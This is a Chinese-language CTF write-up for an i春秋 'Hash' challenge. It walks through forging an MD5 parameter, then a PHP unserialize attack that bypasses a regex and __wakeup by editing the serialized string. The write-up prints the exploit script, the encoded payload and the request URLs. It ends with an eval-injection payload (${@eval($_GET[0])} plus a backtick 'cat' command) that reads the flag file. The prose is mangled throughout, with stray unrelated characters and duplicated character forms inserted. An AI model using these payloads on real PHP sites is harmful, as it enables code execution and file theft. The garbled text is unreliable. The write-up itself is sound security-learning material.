i春秋上百度杯十月中的一道題目-Hash

創(chuàng)建題目孙咪，打開

深度截圖_選擇區(qū)域_20171219113059.png

點(diǎn)擊hahaha跳轉(zhuǎn)

深度截圖_選擇區(qū)域_20171219113215.png

參數(shù)為key以及hash樊破，內(nèi)容

you are 123;if you are not 123,you can get the flag

首先對(duì)hash進(jìn)行解密，推薦https://www.somd5.com/

深度截圖_選擇區(qū)域_20171219113427.png

根據(jù)加密方式猜測(cè)hash的構(gòu)造是由kkkkkk01+key值

所以對(duì)kkkkkk01234進(jìn)行md5魂莫，然后傳參請(qǐng)求：

深度截圖_選擇區(qū)域_20171219113931.png

得到一個(gè)php文件还蹲，打開一段高亮的php代碼：

<?php 
class Demo { 
    private $file = 'Gu3ss_m3_h2h2.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'Gu3ss_m3_h2h2.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'Gu3ss_m3_h2h2.php'; 
        } 
    } 
} 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else { 

        @unserialize($var); 
    } 
} else { 
    highlight_file("Gu3ss_m3_h2h2.php"); 
} 
?>

簡(jiǎn)單的看了下，猜測(cè)是反序列化的利用耙考，并且需要在反序列化利用之前繞過(guò)正則匹配谜喊。而且__wakeup()在__destruct()調(diào)用之前會(huì)被自動(dòng)調(diào)用，所以如果想要讀取f15g_1s_here.php倦始，需要繞過(guò)這點(diǎn)斗遏。而__wakeup()存在一個(gè)缺陷，__wakeup觸發(fā)于unserilize()調(diào)用之前鞋邑，但是如果被反序列話的字符串其中對(duì)應(yīng)的對(duì)象的屬性個(gè)數(shù)發(fā)生變化時(shí)诵次，會(huì)導(dǎo)致反序列化失敗而同時(shí)使得__wakeup失效账蓉。參考http://blog.csdn.net/qq_19876131/article/details/52890854

所以構(gòu)造腳本：

<?php 
class Demo { 
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'Gu3ss_m3_h2h2.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'Gu3ss_m3_h2h2.php'; 
        } 
    } 
} 

$flag = new Demo('f15g_1s_here.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag);
$flag = str_replace(':1:', ':2:' ,$flag);
echo base64_encode($flag);
?>

執(zhí)行結(jié)果：

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

之后請(qǐng)求：
http://185986cfcd074eeb8873be8a81d353ab184e514ec1864b0b.game.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
得到f15g_1s_here.php文件內(nèi)容：

深度截圖_選擇區(qū)域_20171219115122.png

<?php 
if (isset($_GET['val'])) { 
    $val = $_GET['val']; 
    eval('$value="' . addslashes($val) . '";'); 
} else { 
    die('hahaha!'); 
} 

?>

構(gòu)造payload：

http://185986cfcd074eeb8873be8a81d353ab184e514ec1864b0b.game.ichunqiu.com/f15g_1s_here.php?val=${@eval($_GET[0])}&0=echo%20`cat%20True_F1ag_i3_Here_233.php`;